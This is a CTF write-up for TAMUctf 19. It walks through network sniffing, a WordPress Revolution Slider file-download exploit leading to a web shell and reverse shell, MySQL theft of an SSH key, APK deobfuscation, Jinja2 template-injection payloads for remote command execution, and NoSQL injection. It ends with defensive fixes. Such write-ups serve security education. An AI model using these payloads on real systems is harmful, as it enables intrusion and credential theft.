TAMUctf 19


Stop and Listen

Sometimes you just need to stop and listen.
This challenge is an introduction to our network exploit challenges, which are hosted over OpenVPN.
The standard subnet is, so give that a scan ;)
Link: https://tamuctf.com/naumachia/config/53 (must log in)

If you scan the whole subnet, you will only see 2 live IPs: (with nothing special) and (your own IP).
But take a look at the challenge's name, "Stop and Listen". Let's use Wireshark to capture packets in the tap0 interface, you can see a lot of UDP packets (and only them). Finally, search through the UDP packets' data for "gigem" and the flag appears:


I setup my own Wordpress site!
I love that there are so many plugins. My favorite is Revolution Slider. Even though it's a little old it doesn't show up on wpscan!
Please give it about 30 seconds after connecting for everything to setup correctly.
The flag is in /root/flag.txt
Link: https://tamuctf.com/naumachia/config/64 (must log in)

First, I scaned the subnet by nmap and found out:
Discovered open port 3306/tcp on
Discovered open port 80/tcp on
Discovered open port 22/tcp on
So, is the IP of the web server and IP is a MySQL server, both of them are Ubuntu.
The web server ran WordPress versions 5.1, it's maybe hard to be exploited these days. But the description told something about Revolution Slider, let's google to find some public exploits about it. The first result I saw was an "arbitrary file download" vulnerability. Using it, I could download the wp-config.php file, which holds the base configuration of WordPress.
Inside the wp-config.php file, I saw all the database's credentials:
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'wordpress');

/** MySQL database password */
define('DB_PASSWORD', '0NYa6PBH52y86C');

/** MySQL hostname */
define('DB_HOST', '');

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
It turned out that the WordPress site uses as a database server. If you use mysql cli in terminal, let connect to it by this command:
mysql -h -u wordpress -p
I extracted the wp_users table:
No need to crack the admin's password hash when you can overwrite it by your own.
My password above is 123456. Let's went back to the WordPress site and logged in as admin. Although this Revolution Slider version (3.0.95) also has an upload-shell vulnerability, I preferred to use the plugin editor to directly write PHP code inside a plugin.
Taking advantage of the plugin itself, I had a web shell at, then I uploaded an nc (traditional version, because it has -e option) to the server to make a reverse shell (you can use bash directly or fsockopen in PHP instead). Next, I listened on my computer and spawn a tty by python:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
not a tty

python -c 'import pty;pty.spawn("/bin/bash")'
www-data@apacheword:/var/www/wp-content/plugins/akismet$ tty
If you do not want to use python, let take a look at https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
I managed to enumerate all services, tried to escalate privilege but not success. Almost giving up, I bumped into a file named note.txt at /var/www/, the file contains only one line: "Your ssh key was placed in /backup/id_rsa on the DB server.". Maybe it refers to the root's ssh key, so I went back to the MySQL server at
mysql> select load_file('/backup/id_rsa');

Saved it to a file (remember to chmod 600 it) and use ssh to connect to the web server. Bingo, a root shell spawned and I could read the flag:
root@apacheword:~# id     
uid=0(root) gid=0(root) groups=0(root)
root@apacheword:~# cat /root/flag.txt 

Local News

Be sure to check your local news broadcast for the latest updates!
Link: https://tamuctf.com/files/ff1dc83797ccb54f513a23b2a6d87648/app.apk

First, let's decompile the apk file. I recommend using jadx-gui because it is very useful and user-friendly. In the Main Activity, the app tries to log a string after deobfuscates (perhaps it is the flag):
package com.tamu.ctf.hidden;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.support.v4.content.LocalBroadcastManager;
import android.support.v7.app.AppCompatActivity;
import android.util.Log;
import io.michaelrocks.paranoid.Deobfuscator$app$Debug;

public class MainActivity extends AppCompatActivity {
    /* Access modifiers changed, original: protected */
    public void onCreate(Bundle savedInstanceState) {
        setContentView((int) R.layout.activity_main);
        BroadcastReceiver hidden = new BroadcastReceiver() {
            public void onReceive(Context context, Intent intent) {
                Log.d(MainActivity.this.getString(R.string.flag), Deobfuscator$app$Debug.getString(0));
        IntentFilter filter = new IntentFilter();
        LocalBroadcastManager.getInstance(this).registerReceiver(hidden, filter);
Go to the source code of Deobfuscator$app$Debug, copy it to a Java IDE (for example NetBeans, Eclipse) then fix some syntax bugs at localObject variable (I replaced it to localObject1 in some places) and compile and run:
public class Deobfucate {
 private static final String[] charChunks = { "}18m_hanbed3i{0g" };
   private static final String[] indexChunks = { "\017\f\017\t\003\r\005\f\n\n\t\007\004\002\001\006\t\b\016\001\013\b\t\006\000" };
   private static final String[] locationChunks = { "\000\000\031\000" };
   public static String getString(int paramInt)
     int j = paramInt / 4096;
     int i = paramInt % 4096;
     int k = (paramInt + 1) / 4096;
     paramInt = (paramInt + 1) % 4096;
     Object localObject = locationChunks[j];
     String str = locationChunks[k];
     j = ((String)localObject).charAt(i * 2);
     i = (((String)localObject).charAt(i * 2 + 1) & 0xFFFF) << '\020' | j & 0xFFFF;
     j = str.charAt(paramInt * 2);
     j = (str.charAt(paramInt * 2 + 1) << '\020' | j) - i;
     char[] localObject1 = new char[j];
     paramInt = 0;
     while (paramInt < j)
       k = i + paramInt;
       int m = k / 8192;
       k = indexChunks[m].charAt(k % 8192) & 0xFFFF;
       m = k / 8192;
       localObject1[paramInt] = charChunks[m].charAt(k % 8192);
       paramInt += 1;
     return new String((char[])localObject1);
   public static void main(String[] args) {

The paramInt parameter is 0 because it was hinted in the Main Activity.
The flag is gigem{hidden_81aeb013bea}.


Link: http://web3.tamuctf.com
The website uses the Flask framework. It runs on Python and was infamous for its template injection.
The most common payload to check whether it is vulnerable is {{7*7}}, let's insert it into one of two input, then the site responses "The result of combining 49 and is:".
So, it is vulnerable. Next, you can check {{7*'7'}} and it returns "The result of combining 7777777 and is:". Now, you can determine it use Jinja2 as a template.
Let's use {{config}} to get some information about the running framework:
Nothing valuable, you have to make a web shell to find the flag in the server's file system. Use these payloads in sequence and the third is the one execute your command:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
{{ config['RUNCMD']('id',shell=True) }}
For more payload or want to make a reverse shell, visit https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#remote-code-execution.
The flag is in the flag.txt file: gigem{5h3_bl1nd3d_m3_w17h_5c13nc3}.

Login App

Link: http://web4.tamuctf.com

This site has a "bait" login button. Every time you click the login button, it only makes a GET request without any parameters.
But at the end of the source code, you can see a script that registers a handler to the login button:
$("#submit").on('click', function(){
        url: 'login', 
        type : "POST", 
        dataType : 'json', 
        data : JSON.stringify({"username": $("#username").val(), "password": $("#password").val()}),
        contentType: 'application/json;charset=UTF-8',
        success : function(result) {
        error: function(xhr, resp, text) {
            $(".result").html("Something went wrong"); 
            console.log(xhr, resp, text);
Now, you can see that the site makes a POST request with JSON data when the user logins. I am too lazy so I copy the code inside the handler ($.ajax...) and paste it in the browser console to make a valid login request.
When trying to get an error message from the site, I see that it uses Node.js, so I think it also uses MongoDB, a NoSQL database.
For NoSQL injection payloads, visit https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20injection.
Finally, I construct a payload that makes the MongoDB server check for a user which has "admin" as username and its password is not null, and the flag appears:


Link: https://gitlab.tamuctf.com/root/sql

This site is vulnerable to SQL injection due to inserting user data into SQL command and treating them as a part of the command.
If you can isolate the user data and the command context, SQL injection will not be feasible. One of the best solutions is by using a prepared statement.
Commit your code and go to CI/CD -> Jobs -> [your commit] to get the flag: gigem{the_best_damn_sql_anywhere}.


Link: https://gitlab.tamuctf.com/root/science

This site is vulnerable to template injection due to passing unvalidated user data to the render_template_string function.
One solution is not using the render_template_string function, but sometimes you can do that. The more reasonable one is validating user data before passing to the render_template_string.
My method is escaping all "{" and "}" in user data by replacing all of them with their HTML encode form respectively, because the injected code will not be executed while they still are displayed as normal characters on the screen.

Login App2

Link: https://gitlab.tamuctf.com/root/loginapp

This site vulnerable to NoSQL injection due to not validating user data before passing to the API to make the query.
My solution is escaping all double quotes in user data, so the injected code cannot break the data context and execute.

Thank you for reading!